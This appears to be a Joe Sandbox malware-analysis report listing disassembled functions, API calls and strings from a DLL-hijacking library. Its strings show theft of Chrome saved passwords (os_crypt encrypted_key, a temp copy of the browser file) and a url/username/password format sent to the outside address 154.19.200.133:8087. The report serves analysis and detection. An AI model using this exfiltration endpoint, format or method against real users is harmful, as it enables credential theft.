D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B7C6
SQL , xrefs: 1004B86A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FileTemp$CopyNamePathfopen_s
String ID: D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$SQL $http://154.19.200.133:8087$url=%s&username=%s&password=%.*s$v10
API String ID: 3076747166-2476454845
Opcode ID: 96a3857e483310e98a757e8c5ec6be17577a40fa4aa566ac42bd18814837f84d
Instruction ID: d9c3a0bbd2941458f5059eb9f1b372bf5e7fcc553794de189e5ded7749129e2b
Opcode Fuzzy Hash: 96a3857e483310e98a757e8c5ec6be17577a40fa4aa566ac42bd18814837f84d
Instruction Fuzzy Hash: E0912E76D04919EEDB21DA60EC06BEF7BB5EF09316F2000E5F509E5091EF31AAA4DE14

Function 1004B245 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 89
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen_s.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,102A6650,?,?,?,?,?,?,1004B768,?,?), ref: 1004B257
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000002,?,?,?,?,?,?,?,?,?,1004B768,?,?), ref: 1004B272
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,1004B768,?,?), ref: 1004B27E
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1004B768,?), ref: 1004B28F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 1004B29D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(1004B768,00000001,?,?), ref: 1004B2B2
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 1004B2C7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp,0000005A), ref: 1004B318
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 1004B32D

Strings

encrypted_key, xrefs: 1004B2F2
os_crypt, xrefs: 1004B2DE
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B310

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: fseekstrlen$fclosefopen_sfreadftellmalloc
String ID: D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$encrypted_key$os_crypt
API String ID: 269883100-3179416896
Opcode ID: ab15fe402445467ff340c781ed7ba24d65a813a49d04ba5b0b4dbd3582f4fac6
Instruction ID: 6f163d56655eb3a01147a8027e2bfb5f1160aae46e3ebd2bc6850788ab92daa9
Opcode Fuzzy Hash: ab15fe402445467ff340c781ed7ba24d65a813a49d04ba5b0b4dbd3582f4fac6
Instruction Fuzzy Hash: 0E312775C00109FFDF159FA4EC4AAAEBBB5EF08304F200065F914F61A1EB326A249B59

Function 10250460 Relevance: 18.5, APIs: 12, Instructions: 547
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c8e904d167201b1f32d6eb0bb39d3756d74eca43c471de25c39da11ccdb45c
Instruction ID: 68c9850d4145128ee566d81bb5a4d813fd93cd26831abe3a49f44c54aebdb1aa
Opcode Fuzzy Hash: e2c8e904d167201b1f32d6eb0bb39d3756d74eca43c471de25c39da11ccdb45c
Instruction Fuzzy Hash: 90226970A083969FD760CF14C8C4BAAB7E4FF88748F10092DF98597291D778E958CB56

Function 102A0A68 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 102A0AAF
___scrt_uninitialize_crt.LIBCMT ref: 102A0AC9

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 6e75b1b90927e0be511f070e9d30853536da5a47744350ef5e6b397df3e9961a
Instruction ID: 3d9b1607a9061b87fb53be0a0c8395ca12256d5c0c0184909518848468970b5e
Opcode Fuzzy Hash: 6e75b1b90927e0be511f070e9d30853536da5a47744350ef5e6b397df3e9961a
Instruction Fuzzy Hash: 5E41E536D0022AEFDB11DF54CD81B9E7675EF84BA4F214A16F81496950CF385D21CFA0

Function 10246D50 Relevance: 8.8, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000034,?,1004B2D6,1004B768), ref: 10246D55
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,00000014,?,1004B2D6,1004B768), ref: 10246D67
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,1004B2D6,1004B768), ref: 10246D77

Part of subcall function 10248710: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,10246DB2,00000000,?,?,?,?,1004B2D6,1004B768), ref: 10248763

Part of subcall function 10246E10: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,00000000), ref: 10246E69
Part of subcall function 10246E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 10246E76
Part of subcall function 10246E10: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,102B8330,00000000), ref: 10246E91

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,1004B2D6,1004B768), ref: 10246D92
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,1004B2D6,1004B768), ref: 10246D98
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,1004B2D6,1004B768), ref: 10246DF4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,1004B2D6,1004B768), ref: 10246DFA

Part of subcall function 10246C50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,10248751,?,?,?,00000000,10246DB2,00000000,?,?,?,?,1004B2D6,1004B768), ref: 10246C88
Part of subcall function 10246C50: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,1004B2D6,1004B768), ref: 10246CAD

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: free$callocsetlocale$_strdup
String ID:
API String ID: 1875950247-0
Opcode ID: 47d5dedb681e9f43513d7ac08f3711d65ad3e6aec75424b87ddaa4487a85f19a
Instruction ID: d261e14cc736ec76f07ec3890dd15f58ff31b438b13e4eb15cd31806cc7c89e0
Opcode Fuzzy Hash: 47d5dedb681e9f43513d7ac08f3711d65ad3e6aec75424b87ddaa4487a85f19a
Instruction Fuzzy Hash: 1E11E37DF01622EAD769AB34BD0AA4B7598CF452A1F310434F809D6A40FE21E535CAE3

Function 102A0B18 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 102A0B55
dllmain_crt_dispatch.LIBCMT ref: 102A0B6C
dllmain_raw.LIBCMT ref: 102A0BB4
dllmain_crt_dispatch.LIBCMT ref: 102A0BC7
dllmain_raw.LIBCMT ref: 102A0BDA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: aae0a41208a1738b7b3411e968d558532970a04c4eb884d83d3f7474f352f4e2
Instruction ID: 378f3a3c294e0b920e849440dbaf323c3e838210831b3441b6e65e39501f2040
Opcode Fuzzy Hash: aae0a41208a1738b7b3411e968d558532970a04c4eb884d83d3f7474f352f4e2
Instruction Fuzzy Hash: 6D21D371D0026AEFCB219F14CDC0E6F3A69EB85BE8F214616F81457A10CB389D61CBE0

Function 10294860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10294460: GetModuleHandleA.KERNEL32(ntdll,RtlVerifyVersionInfo), ref: 1029448E
Part of subcall function 10294460: GetProcAddress.KERNEL32(00000000), ref: 10294495

Part of subcall function 10262960: GetModuleHandleW.KERNEL32(kernel32,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 1026296A

GetProcAddress.KERNEL32(00000000,InitSecurityInterfaceW), ref: 1029489F

Strings

InitSecurityInterfaceW, xrefs: 10294899
secur32.dll, xrefs: 1029487F, 10294887
security.dll, xrefs: 1029487A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitSecurityInterfaceW$secur32.dll$security.dll
API String ID: 1646373207-1950755585
Opcode ID: fd2ce32c6256caf68c984936289541426e27994b095f20dc348b169771c86555
Instruction ID: 58bfc08b7617e756a492350ba64bd30736bb9fc24e8b4a017a2569cffe49cde3
Opcode Fuzzy Hash: fd2ce32c6256caf68c984936289541426e27994b095f20dc348b169771c86555
Instruction Fuzzy Hash: 35F0A760B003525EFF158B344C8AF2A22C4EBC2745FA08038B90AEA1C1EE34CC108A00

Function 1004B601 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 1004B620
GetTempFileNameA.KERNELBASE(?,chrome,00000000,1004B757), ref: 1004B637
CopyFileA.KERNEL32(1004E8EF,1004B757,00000000), ref: 1004B646

Strings

chrome, xrefs: 1004B62B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FileTemp$CopyNamePath
String ID: chrome
API String ID: 291496533-4191585516
Opcode ID: 741baab7e9b6b1c3a2cc9a2daf92243df414898438fd11620697092256d9f88b
Instruction ID: 9f7793437dfef922e50ff27f6188ea8508e9d81d5004c99e6987a856ba80e951
Opcode Fuzzy Hash: 741baab7e9b6b1c3a2cc9a2daf92243df414898438fd11620697092256d9f88b
Instruction Fuzzy Hash: 9EF03A3560021CEFDB209FA0CC49BCA7BA9EB4D704F104065F649DA490DF74A6988F08

Function 1025B1F0 Relevance: 4.6, APIs: 3, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bb40ae4a022782b42763026a1caf2a2d98e6b068f7f52614d107f11911e8fc
Instruction ID: bcc3f405f9f97cd27099239772d254570ae1bb60f865a616098945c0131cae1a
Opcode Fuzzy Hash: e0bb40ae4a022782b42763026a1caf2a2d98e6b068f7f52614d107f11911e8fc
Instruction Fuzzy Hash: AD51C7B0005B419AE3719F38D8497C7BAE5AB41328F504A1CE4FE5A2C1CBBA3159CF95

Function 1004E930 Relevance: 4.5, APIs: 3, Instructions: 29threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?,?,?,102A0B88,?,00000001,00000000,?,00000001,00000000,?,00000001,00000000,1033F3C8,0000000C,00000007), ref: 1004E945
CreateThread.KERNEL32(00000000,00000000,1004E88E,00000000,00000000,00000000), ref: 1004E95A
CreateThread.KERNEL32(00000000,00000000,1004E880,00000000,00000000,00000000), ref: 1004E96F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Thread$Create$CallsDisableLibrary
String ID:
API String ID: 1137313304-0
Opcode ID: 39477de572a441d0d2ef31538d279acc9b7d6acec7c480a6a1d2ce28b73a40fd
Instruction ID: f7649628d6c9c616a2289c72afde276a426916728dc216b0d22d9f1eff03a3a1
Opcode Fuzzy Hash: 39477de572a441d0d2ef31538d279acc9b7d6acec7c480a6a1d2ce28b73a40fd
Instruction Fuzzy Hash: B4F0ED31698358F6E774AB508C0EF497664F709B41F304124F70AF91D0CBB1A940861D

Function 10248790 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(102479E3,?,1024883D,?,102479E4,00000100,-00000001,102479E3,?,?,00000001,?,?,?,00000000), ref: 102487A9
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,102479E3,?,1024883D,?,102479E4,00000100,-00000001,102479E3,?,?,00000001,?), ref: 102487D0

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _errnorealloc
String ID:
API String ID: 3650671883-0
Opcode ID: cc7be8c070159306b6512c818d3dd505c994d0a198fcc411df52a69fbe518070
Instruction ID: bff60046f19298de85380876ee219af60abae125d30b2a2173f007e37f35ad8b
Opcode Fuzzy Hash: cc7be8c070159306b6512c818d3dd505c994d0a198fcc411df52a69fbe518070
Instruction Fuzzy Hash: DFF0A73B6142028BD7108E39EC0104EF6D6EFD52B07360E1AE8B4C72E0D770EC92C650

Function 102487F0 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(10246CAC,00000000,10246CAC,?,?,?,?,?,1004B2D6,1004B768), ref: 102487FB
free.API-MS-WIN-CRT-HEAP-L1-1-0(10246CAC,10246CAC,00000000,10246CAC,?,?,?,?,?,1004B2D6,1004B768), ref: 10248801

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b6e7dd2300a404d081c142103cf6421e11331e3ea124d91a11069ac48c54d574
Instruction ID: 617cc74f854353680d6dcb749b5db331090b8b5ab8e17dc67607a140ad322a11
Opcode Fuzzy Hash: b6e7dd2300a404d081c142103cf6421e11331e3ea124d91a11069ac48c54d574
Instruction Fuzzy Hash: 3EC08C3ED12034A288065A00AD0188EA24CCE016A07360014FC80261189A112C6089D1

Non-executed Functions

Function 10149FC0 Relevance: 38.9, APIs: 12, Strings: 10, Instructions: 408stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,Proc-Type:,0000000A), ref: 1014A127
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1014A140
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1014A165
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ENCRYPTED,00000009,?,1030A228), ref: 1014A174
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?, ), ref: 1014A18D
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?, ), ref: 1014A1A3
__fprintf_l.LIBCMT ref: 1014A1D4
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DEK-Info:,00000009), ref: 1014A228
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228), ref: 1014A241
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(00000000, ,,?,1030A228), ref: 1014A251
strspn.API-MS-WIN-CRT-STRING-L1-1-0(00000000,1030A228,00000000,00000000, ,,?,1030A228), ref: 1014A277
memset.VCRUNTIME140(?,00000000,00000000), ref: 1014A32D

Strings

Proc-Type:, xrefs: 1014A121
Expecting: , xrefs: 1014A4F0
,, xrefs: 1014A246
load_iv, xrefs: 1014A3DB
PEM_get_EVP_CIPHER_INFO, xrefs: 1014A1BA, 1014A290, 1014A2C6, 1014A2F6, 1014A3FD, 1014A41F, 1014A441
ENCRYPTED, xrefs: 1014A16E
DEK-Info:, xrefs: 1014A222
, xrefs: 1014A187
crypto\pem\pem_lib.c, xrefs: 1014A039, 1014A04F, 1014A061, 1014A07D, 1014A08D, 1014A1C4, 1014A1EB, 1014A208, 1014A29A, 1014A2D0, 1014A300, 1014A3E5, 1014A407, 1014A429, 1014A44B, 1014A46C, 1014A486
, xrefs: 1014A19D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strspn$strncmp$__fprintf_lmemsetstrcspn
String ID: $ $ ,$DEK-Info:$ENCRYPTED$Expecting: $PEM_get_EVP_CIPHER_INFO$Proc-Type:$crypto\pem\pem_lib.c$load_iv
API String ID: 805812871-1430298511
Opcode ID: ad1c70e4c1071fff0d7c278aea4a942f8b25df130585ee320aa4c3dede0fe080
Instruction ID: 0f82841f48850bbcab7b90f78a48549cbaa611ff87f36c03b3fbd9889d281097
Opcode Fuzzy Hash: ad1c70e4c1071fff0d7c278aea4a942f8b25df130585ee320aa4c3dede0fe080
Instruction Fuzzy Hash: 7FD18D7A6083056BD300DF64AC42F9F77D8EF48740F960928FA84E6253EB69F8058797

Function 1008B3D0 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 241encryptionCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,1008970B), ref: 1008B42C
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,?,1008970B), ref: 1008B450
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,1008970B), ref: 1008B473
CryptAcquireContextW.ADVAPI32(?,00000000,00000000,?,F0000000,?,1008970B), ref: 1008B4C2
__fprintf_l.LIBCMT ref: 1008B4FE
CryptGetProvParam.ADVAPI32(00000000,00000002,00000000,00000001,00000001,?,1008970B), ref: 1008B529
GetLastError.KERNEL32(?,?,?,?,?,1008970B), ref: 1008B548
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,1008970B), ref: 1008B577
CryptGetProvParam.ADVAPI32(?,00000002,00000000,?,00000000,?,?,?,?,?,?,?,1008970B), ref: 1008B5DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,1008970B), ref: 1008B62F
CryptReleaseContext.ADVAPI32(?,00000000), ref: 1008B695

Strings

%lX, xrefs: 1008B47A, 1008B54F, 1008B653
Listing containers CSP=%s, type = %d, xrefs: 1008B405
Container name %s, len=%d, index=%d, flags=%d, xrefs: 1008B5EF
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c, xrefs: 1008B4EA
engines\e_capi.c, xrefs: 1008B45F, 1008B50A, 1008B538, 1008B5A7, 1008B644, 1008B682
%lu. %s, xrefs: 1008B60C
ERR_CAPI_error, xrefs: 1008B4E3
Got max container len %d, xrefs: 1008B585
Enumerate bug: using workaround, xrefs: 1008B61F
Error code= 0x, xrefs: 1008B48E, 1008B563, 1008B667

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Crypt$ContextErrorLast$ByteCharMultiParamProvReleaseWide$Acquire__fprintf_l
String ID: %lX$%lu. %s$Container name %s, len=%d, index=%d, flags=%d$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c$ERR_CAPI_error$Enumerate bug: using workaround$Error code= 0x$Got max container len %d$Listing containers CSP=%s, type = %d$engines\e_capi.c
API String ID: 3173555883-3984037652
Opcode ID: bcf0ce1eb9858259f5c747b44b1f91321fe62a45251b8fc6cf50794939e406fe
Instruction ID: 36b386d9d4405ae72171c81fb292d1d9fc55e006c459f4dbf52f0baa7e7269ef
Opcode Fuzzy Hash: bcf0ce1eb9858259f5c747b44b1f91321fe62a45251b8fc6cf50794939e406fe
Instruction Fuzzy Hash: 2171F375D40209BBDB10EFA1DD8AFAF7BB8FB49704F100115FA05B6182EB356920CB61

Function 10192230 Relevance: 25.7, APIs: 7, Strings: 7, Instructions: 1155COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00000000,?,?), ref: 101922D5

Strings

gfff, xrefs: 10192E13
NaN, xrefs: 10192A99
-Inf, xrefs: 10192B5E
VUUU, xrefs: 10192C62
null, xrefs: 10192A94, 1019367C, 1019367D
-, xrefs: 10192BB3
VUUU, xrefs: 1019277B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
